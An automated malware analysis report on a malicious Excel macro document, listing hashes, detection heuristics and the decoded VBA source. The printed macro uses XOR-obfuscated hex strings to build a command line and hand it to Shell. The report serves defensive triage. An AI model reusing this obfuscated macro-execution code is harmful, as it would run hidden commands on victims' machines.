Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c1ffb553092ffcd2…

MALICIOUS

Office (OOXML)

21.3 KB Created: 2020-10-21 12:36:36 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-01
MD5: ac417c7d01146b7c5a48c34cfeb23bfc SHA-1: 0f59e778879b02e49d22205416aa7647dc6367ea SHA-256: c1ffb553092ffcd207cd84b55ec0573a35def42531ba1f10c3c4b94ad5ef1027
122 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(dsfdgfgd, vbNormalFocus)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2422 bytes
SHA-256: aa27f197a6916db435078cc68db2681b12ef23fea3c37b1f05a8480654304523
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Function ffqsfqsfqf(Kefgbfzed As String, mondayfszdfe As String) As String
    
    Dim sdfqzsfqad As Long
    Dim qfdqfqeezz As String
    Dim srgfgsdsggsfg As Integer
    Dim fhdfhdfhd As Integer
    
    For sdfqzsfqad = 1 To (Len(mondayfszdfe) / 2)
     
        srgfgsdsggsfg = Val("&H" & (Mid$(mondayfszdfe, (2 * sdfqzsfqad) - 1, 2)))

        fhdfhdfhd = Asc(Mid$(Kefgbfzed, ((sdfqzsfqad Mod Len(Kefgbfzed)) + 1), 1))
        
        qfdqfqeezz = qfdqfqeezz + Chr(srgfgsdsggsfg Xor fhdfhdfhd)
    Next sdfqzsfqad
   ffqsfqsfqf = qfdqfqeezz
End Function



Sub dsfdsfefe()
Dim fghjlszqxvc As String

fghjlszqxvc = ffqsfqsfqf("44", "e51574014674d474051591a7a51401a63515677585d515a401d1a705b435a585b5550725d58511c135c404044470e1b1b085c5b47400a1b525d58511a514c51131813525d58511a514c51131d0f67405546401964465b575147471413525d58511a514c5113")
gdsfsdfsdf = ffqsfqsfqf("44", "5759501a514c51141b5714645b435146675c515858141c7a5143197b565")
dsfdgfgd = gdsfsdfsdf + fghjlszqxvc
Call Shell(dsfdgfgd, vbNormalFocus)
End Sub


Attribute VB_Name = "Feuil1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Public Function ffqsfqsfqf(Kefgbfzed As String, mondayfszdfe As String) As String
    
    Dim sdfqzsfqad As Long
    Dim qfdqfqeezz As String
    Dim srgfgsdsggsfg As Integer
    Dim fhdfhdfhd As Integer
    
    For sdfqzsfqad = 1 To (Len(mondayfszdfe) / 2)
     
        srgfgsdsggsfg = Val("&H" & (Mid$(mondayfszdfe, (2 * sdfqzsfqad) - 1, 2)))

        fhdfhdfhd = Asc(Mid$(Kefgbfzed, ((sdfqzsfqad Mod Len(Kefgbfzed)) + 1), 1))
        
        qfdqfqeezz = qfdqfqeezz + Chr(srgfgsdsggsfg Xor fhdfhdfhd)
    Next sdfqzsfqad
   ffqsfqsfqf = qfdqfqeezz
End Function



Sub dsfdsfefe()
Dim fghjlszqxvc As String

fghjlszqxvc = ffqsfqsfqf("44", "5759501a514c51")
Call Shell(fghjlszqxvc, vbHide)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 26112 bytes
SHA-256: e8cc61e3d4e8171a874d93579073b5b2a7ec777cd2a588f4094c9a1ad0ad4c4a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.